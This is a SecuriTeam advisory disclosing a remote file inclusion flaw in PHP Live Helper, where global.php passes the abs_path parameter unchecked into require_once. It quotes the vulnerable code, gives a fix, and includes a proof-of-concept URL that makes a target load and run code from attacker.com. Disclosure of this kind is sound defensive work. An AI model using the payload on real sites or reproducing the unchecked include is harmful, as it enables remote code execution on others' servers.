[UNIX] PHP Live Helper File Inclusion



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



PHP Live Helper File Inclusion
------------------------------------------------------------------------


SUMMARY

<http://www.turnkeywebtools.com/products.php?p=phplivehelper> PHP Live
Helper provides a "reliable real-time customer support and visitor
communication directly on your site". Input passed to the "abs_path"
parameter in global.php is not properly verified before being used. This
can be exploited to execute arbitrary PHP code by including files from
local or external resources.

DETAILS

Vulnerable code:
...
<?PHP
/*
global.php - 05/30/2006 - 5:27pm PST - 2.0

PHP Live Helper
http://www.turnkeywebtools.com/phplivehelper/

Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/

define('PLH_SESSION_START', '1');

////////////////////////////
// Load Class & Secure Files
////////////////////////////

require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
..

Proof of Concept:
The following URL will include the file found at attacker.com into the
execution path of the PHP environment:
http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
Sanitize variable $abs_path on global.php.


ADDITIONAL INFORMATION

The information has been provided by Ahmad Maulana a.k.a Matdhule.
The original article can be found at:
<http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt>
http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [EXPL] TinyWeb Server DoS Exploit
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [UNIX] SquirrelMail Cross Site Scripting in Encoded Text
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SquirrelMail has all the functionality you would want from an email ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NEWS] WzdFTPD hash DoS
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WzdFTPD project also supports bandwidth limitation (per user, per group, ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [UNIX] Online Store Kit SQL Injection Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SQL Injection: ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NT] Norton AntiSpam Remote Buffer Overrun (SymSpamHelper)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... An ActiveX control bundled with Norton AntiSpam suffers from a bug that ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)